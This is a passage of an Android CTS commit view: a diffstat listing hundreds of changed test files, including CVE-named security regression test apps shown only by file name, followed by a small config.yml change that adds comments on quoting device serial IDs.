-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/OverlayService.java95
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp64
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml39
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java60
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp39
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml35
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/layout/activity_main.xml26
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml22
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml30
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java101
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java55
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0954/Android.bp8
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0954/AndroidManifest.xml18
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/integers.xml21
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/strings.xml38
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/DeviceTest.java164
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/PocService.java98
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp2
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml9
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/integers.xml23
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/strings.xml28
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java139
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java78
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp38
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml40
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml24
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml27
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java85
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java59
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java103
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp39
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml38
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml27
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java106
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java25
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java41
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39795/Android.bp36
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39795/AndroidManifest.xml27
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39795/res/values/strings.xml32
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39795/src/android/security/cts/CVE_2021_39795/DeviceTest.java94
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp38
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml30
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml27
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml35
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java82
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java137
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml2
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocAttackerActivity.java (renamed from hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java)2
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp33
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml32
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml25
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml21
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml22
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java57
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp1
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml4
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml5
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml14
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java150
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/FirstPocActivity.java (renamed from hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java)30
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java65
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp38
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml24
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml21
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java49
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml6
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java89
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java19
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java49
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20348/Android.bp39
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20348/AndroidManifest.xml35
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/values/strings.xml26
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/xml/device_policies.xml20
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/DeviceTest.java115
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/PocDeviceAdminReceiver.java22
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20353/Android.bp38
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20353/AndroidManifest.xml35
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/integers.xml22
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/strings.xml38
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/DeviceTest.java151
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/PocActivity.java62
-rw-r--r--hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java2
-rw-r--r--hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java3
-rw-r--r--hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java13
-rw-r--r--hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java4
-rw-r--r--hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/SizeCompatRestartButtonStatsTests.java37
-rw-r--r--hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java25
-rw-r--r--tests/PhotoPicker/TEST_MAPPING20
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java318
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/ActionPickImagesOnlyTest.java159
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java8
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java6
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java374
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java114
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/GetContentActivityAliasUtils.java128
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java34
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java92
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java21
-rw-r--r--tests/accessibility/Android.bp1
-rw-r--r--tests/accessibility/AndroidManifest.xml11
-rw-r--r--tests/accessibility/res/values/strings.xml3
-rw-r--r--tests/accessibility/res/xml/no_feedback_accessibilityservice.xml (renamed from apps/MainlineModuleDetector/AndroidManifest.xml)19
-rw-r--r--tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java30
-rw-r--r--tests/accessibility/src/android/view/accessibility/cts/NoFeedbackAccessibilityService.java29
-rw-r--r--tests/accessibilityservice/src/android/accessibilityservice/cts/activities/NotTouchableWindowTestActivity.java2
-rw-r--r--tests/app/app/assets/picture_800_by_600.pngbin0 -> 22715 bytes
-rw-r--r--tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt3
-rw-r--r--tests/app/src/android/app/cts/NotificationTemplateTest.kt22
-rw-r--r--tests/app/src/android/app/cts/UpdateMediaTapToTransferReceiverDisplayTest.kt3
-rw-r--r--tests/appsearch/src/com/android/cts/appsearch/external/app/AppSearchSessionCtsTestBase.java101
-rw-r--r--tests/appsearch/src/com/android/cts/appsearch/external/app/GenericDocumentCtsTest.java55
-rw-r--r--tests/appsearch/src/com/android/cts/appsearch/external/app/GlobalSearchSessionCtsTestBase.java25
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java34
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java4
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java61
-rw-r--r--tests/camera/Android.bp1
-rw-r--r--tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java6
-rw-r--r--tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java31
-rw-r--r--tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java434
-rw-r--r--tests/camera/src/android/hardware/camera2/cts/RecordingTest.java13
-rw-r--r--tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java29
-rw-r--r--tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java17
-rw-r--r--tests/devicepolicy/src/android/devicepolicy/cts/CloneProfileDeviceOwnerTest.java3
-rw-r--r--tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java15
-rw-r--r--tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagementRoleHolderTest.java6
-rw-r--r--tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java9
-rw-r--r--tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java6
-rw-r--r--tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java5
-rw-r--r--tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java4
-rw-r--r--tests/framework/base/localeconfig/Android.bp1
-rw-r--r--tests/framework/base/windowmanager/Android.bp1
-rw-r--r--tests/framework/base/windowmanager/AndroidManifest.xml4
-rw-r--r--tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java2
-rw-r--r--tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java20
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java15
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyGestureTest.java122
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyTest.java7
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java2
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java14
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java21
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java22
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java26
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java27
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentTrustedModeTest.java21
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java6
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java8
-rw-r--r--tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java4
-rw-r--r--tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java19
-rw-r--r--tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java8
-rw-r--r--tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java2
-rw-r--r--tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java42
-rw-r--r--tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java15
-rw-r--r--tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java14
-rw-r--r--tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java13
-rw-r--r--tests/media/AndroidTest.xml2
-rw-r--r--tests/media/DynamicConfig.xml2
-rw-r--r--tests/media/README.md2
-rwxr-xr-xtests/media/copy_media.sh2
-rw-r--r--tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java4
-rw-r--r--tests/media/src/android/mediav2/cts/CodecInfoTest.java17
-rw-r--r--tests/media/src/android/mediav2/cts/CodecTestBase.java441
-rw-r--r--tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java29
-rw-r--r--tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java96
-rw-r--r--tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java7
-rw-r--r--tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java192
-rw-r--r--tests/media/src/android/mediav2/cts/OutputSurface.java41
-rw-r--r--tests/media/src/android/mediav2/cts/WorkDir.java2
-rw-r--r--tests/mediapc/AndroidTest.xml5
-rw-r--r--tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java550
-rw-r--r--tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java45
-rw-r--r--tests/mediapc/common/src/android/mediapc/cts/common/Utils.java28
-rw-r--r--tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java6
-rw-r--r--tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java9
-rw-r--r--tests/ondevicepersonalization/src/android/ondevicepersonalization/cts/OnDevicePersonalizationServiceTest.java23
-rw-r--r--tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java2
-rw-r--r--tests/signature/intent-check/DynamicConfig.xml2
-rw-r--r--tests/suspendapps/tests/src/android/suspendapps/cts/DialogTests.java6
-rwxr-xr-xtests/tests/assist/common/src/android/assist/common/Utils.java1
-rw-r--r--tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java11
-rw-r--r--tests/tests/assist/src/android/assist/cts/AssistTestBase.java4
-rw-r--r--tests/tests/bluetooth/AndroidTest.xml2
-rw-r--r--tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java97
-rw-r--r--tests/tests/companion/uiautomation/src/android/companion/cts/uiautomation/UiAutomationTestBase.kt6
-rw-r--r--tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java17
-rw-r--r--tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java34
-rw-r--r--tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java31
-rw-r--r--tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java2
-rw-r--r--tests/tests/hardware/AndroidManifest.xml10
-rw-r--r--tests/tests/hardware/res/raw/keyboard_layout_english_us.kcm311
-rw-r--r--tests/tests/hardware/res/raw/keyboard_layout_french.kcm336
-rw-r--r--tests/tests/hardware/res/raw/keyboard_layout_german.kcm333
-rw-r--r--tests/tests/hardware/res/xml/keyboard_layouts.xml31
-rw-r--r--tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java10
-rw-r--r--tests/tests/hardware/src/android/hardware/input/cts/tests/KeyboardLayoutChangeTest.java12
-rw-r--r--tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualDeviceTestCase.java3
-rw-r--r--tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java2
-rw-r--r--tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java20
-rw-r--r--tests/tests/media/audio/AndroidTest.xml4
-rw-r--r--tests/tests/media/audio/src/android/media/audio/cts/DirectAudioProfilesForAttributesTest.kt26
-rw-r--r--tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java2
-rw-r--r--tests/tests/media/codec/AndroidTest.xml10
-rw-r--r--tests/tests/media/codec/src/android/media/codec/cts/ExtractDecodeEditEncodeMuxTest.java119
-rw-r--r--tests/tests/media/codec/src/android/media/codec/cts/MediaCodecResourceTest.java8
-rw-r--r--tests/tests/media/codec/src/android/media/codec/cts/MediaCodecTest.java12
-rw-r--r--tests/tests/media/common/src/android/media/cts/CodecState.java6
-rw-r--r--tests/tests/media/common/src/android/media/cts/MediaCodecClearKeyPlayer.java6
-rw-r--r--tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java255
-rw-r--r--tests/tests/media/common/src/android/media/cts/TestUtils.java43
-rw-r--r--tests/tests/media/decoder/AndroidTest.xml10
-rw-r--r--tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTest.java1
-rw-r--r--tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java4
-rw-r--r--tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java542
-rw-r--r--tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java16
-rw-r--r--tests/tests/media/decoder/src/android/media/decoder/cts/NativeDecoderTest.java75
-rw-r--r--tests/tests/media/drmframework/AndroidTest.xml10
-rw-r--r--tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java1
-rw-r--r--tests/tests/media/encoder/AndroidTest.xml10
-rw-r--r--tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderTest.java5
-rw-r--r--tests/tests/media/extractor/AndroidTest.xml10
-rw-r--r--tests/tests/media/misc/AndroidTest.xml12
-rw-r--r--tests/tests/media/misc/DynamicConfig.xml2
-rwxr-xr-xtests/tests/media/misc/copy_media.sh2
-rw-r--r--tests/tests/media/misc/src/android/media/misc/cts/WorkDir.java2
-rw-r--r--tests/tests/media/muxer/AndroidTest.xml10
-rw-r--r--tests/tests/media/player/AndroidTest.xml10
-rw-r--r--tests/tests/media/player/src/android/media/player/cts/MediaPlayerFlakyNetworkTest.java1
-rw-r--r--tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java21
-rw-r--r--tests/tests/mediastress/src/android/mediastress/cts/MediaRecorderStressTest.java7
-rw-r--r--tests/tests/os/Android.bp1
-rw-r--r--tests/tests/os/src/android/os/cts/AppHibernationUtils.kt72
-rw-r--r--tests/tests/os/src/android/os/cts/AutoRevokeTest.kt108
-rw-r--r--tests/tests/permission/src/android/permission/cts/AccessibilityPrivacySourceTest.kt56
-rw-r--r--tests/tests/permission/src/android/permission/cts/BaseNotificationListenerCheckTest.java36
-rw-r--r--tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java72
-rw-r--r--tests/tests/permission/src/android/permission/cts/NotificationListenerCheckTest.java19
-rw-r--r--tests/tests/permission/src/android/permission/cts/SafetyCenterUtils.kt12
-rw-r--r--tests/tests/permission2/res/raw/android_manifest.xml7
-rw-r--r--tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java5
-rw-r--r--tests/tests/permission3/src/android/permission3/cts/MediaPermissionTest.kt3
-rw-r--r--tests/tests/permission3/src/android/permission3/cts/PermissionAttributionTest.kt21
-rw-r--r--tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt64
-rw-r--r--tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt54
-rw-r--r--tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt8
-rw-r--r--tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java3
-rw-r--r--tests/tests/provider/OWNERS14
-rw-r--r--tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java1
-rw-r--r--tests/tests/security/Android.bp1
-rw-r--r--tests/tests/security/AndroidManifest.xml28
-rw-r--r--tests/tests/security/aidl/android/security/cts/IBitmapService.aidl1
-rw-r--r--tests/tests/security/res/raw/cve_2022_22083.apebin0 -> 1037 bytes
-rw-r--r--tests/tests/security/res/raw/cve_2022_22084.qcpbin0 -> 635676 bytes
-rw-r--r--tests/tests/security/res/raw/cve_2022_22085.dtsbin0 -> 3237753 bytes
-rw-r--r--tests/tests/security/res/raw/cve_2022_22086.3gpbin0 -> 80749 bytes
-rw-r--r--tests/tests/security/res/raw/cve_2022_22087.mkvbin0 -> 227777 bytes
-rw-r--r--tests/tests/security/res/raw/cve_2022_25657.mkvbin0 -> 3784 bytes
-rw-r--r--tests/tests/security/res/raw/cve_2022_25659.mkvbin0 -> 299217 bytes
-rw-r--r--tests/tests/security/res/xml/device_admin_CVE_2022_20420.xml20
-rw-r--r--tests/tests/security/res/xml/syncadapter.xml19
-rw-r--r--tests/tests/security/src/android/security/cts/ActivityManagerTest.java178
-rw-r--r--tests/tests/security/src/android/security/cts/BitmapService.java5
-rw-r--r--tests/tests/security/src/android/security/cts/BitmapTest.java14
-rw-r--r--tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java35
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2019_9376.java3
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2022_20135.java67
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2022_20358/CVE_2022_20358.java120
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2022_20358/PocContentProvider.java56
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2022_20358/PocSyncService.java79
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2022_20420/CVE_2022_20420.java112
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2022_20420/PocDeviceAdminReceiver.java33
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2022_20452/CVE_2022_20452.java71
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2022_20452/CustomParcelable.java50
-rw-r--r--tests/tests/security/src/android/security/cts/LocationDisabledAppOpsTest.java132
-rw-r--r--tests/tests/security/src/android/security/cts/PackageInstallerTest.java7
-rw-r--r--tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java29
-rw-r--r--tests/tests/security/src/android/security/cts/StagefrightTest.java47
-rw-r--r--tests/tests/security/src/android/security/cts/WallpaperManagerTest.java5
-rw-r--r--tests/tests/systemui/Android.bp1
-rw-r--r--tests/tests/systemui/AndroidManifest.xml1
-rw-r--r--tests/tests/systemui/src/android/systemui/cts/LightBarTests.java36
-rw-r--r--tests/tests/systemui/src/android/systemui/cts/MediaOutputDialogTest.java102
-rw-r--r--tests/tests/telecom/src/android/telecom/cts/PhoneAccountRegistrarTest.java360
-rw-r--r--tests/tests/telephony/OWNERS19
-rw-r--r--tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java23
-rw-r--r--tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java1
-rw-r--r--tests/tests/telephony/current/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java13
-rw-r--r--tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java94
-rw-r--r--tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java16
-rw-r--r--tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java15
-rw-r--r--tests/tests/uidmigration/src/android/uidmigration/cts/SharedUserMigrationTest.kt5
-rw-r--r--tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java2
-rw-r--r--tests/tests/view/AndroidManifest.xml2
-rw-r--r--tests/tests/view/res/values/themes.xml4
-rw-r--r--tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualAudioTest.java7
-rw-r--r--tests/tests/widget/res/layout/numberpicker_layout.xml3
-rw-r--r--tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java51
-rw-r--r--tests/tests/widget/src/android/widget/cts/NumberPickerTest.java4
-rw-r--r--tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java3
-rw-r--r--tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java77
-rw-r--r--tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyMultiInternetWifiNetworkTest.java2
-rw-r--r--tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java22
-rw-r--r--tests/tests/wifi/src/android/net/wifi/cts/WifiSsidTest.java7
-rw-r--r--tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java16
-rw-r--r--tests/uwb/src/android/uwb/cts/RangingSessionTest.java629
-rw-r--r--tests/uwb/src/android/uwb/cts/SessionHandleTest.java53
-rw-r--r--tests/uwb/src/android/uwb/cts/UwbManagerTest.java47
-rw-r--r--tools/cts-media-preparer-app/Android.bp2
-rw-r--r--tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java6
-rw-r--r--tools/cts-tradefed/OWNERS5
-rw-r--r--tools/cts-tradefed/res/config/cts-known-failures.xml8
-rw-r--r--tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml7
634 files changed, 14959 insertions, 7439 deletions
diff --git a/apps/CameraITS/config.yml b/apps/CameraITS/config.yml
index 7302e3cb1f0..b9b0ddf21ec 100644
--- a/apps/CameraITS/config.yml
+++ b/apps/CameraITS/config.yml
@@ -20,9 +20,9 @@ TestBeds:
# Test configuration for scenes[0:4, 6, _change]
Controllers:
AndroidDevice:
- - serial: <device_id>
+ - serial: <device_id> # quotes are needed if serial id is entirely numeric
label: dut
- - serial: <tablet_id>
+ - serial: <tablet_id> # quotes are needed if serial id is entirely numeric
label: tablet
TestParams:
brightness: 192
@@ -37,7 +37,7 @@ TestBeds:
# Test configuration for sensor_fusion/test_sensor_fusion.py
Controllers:
AndroidDevice:
- - serial: <device-id>
+ - serial: <device-id> # quotes are needed if serial id is entirely numeric
label: dut
TestParams:
fps: 30
@@ -45,7 +45,7 @@ TestBeds:
test_length: 7
debug_mode: "False" # quotes are needed here
chart_distance: 25
- rotator_cntl: <controller-type> # arduino, canakit, or as-is for manual
+ rotator_cntl: "arduino" # Note: only sensor fusion supports manual
rotator_ch: <controller-channel>
camera: <camera-id>
diff --git a/apps/CameraITS/tests/its_base_test.py b/apps/CameraITS/tests/its_base_test.py
index 9b29ab72365..daa55c651d3 100644
--- a/apps/CameraITS/tests/its_base_test.py
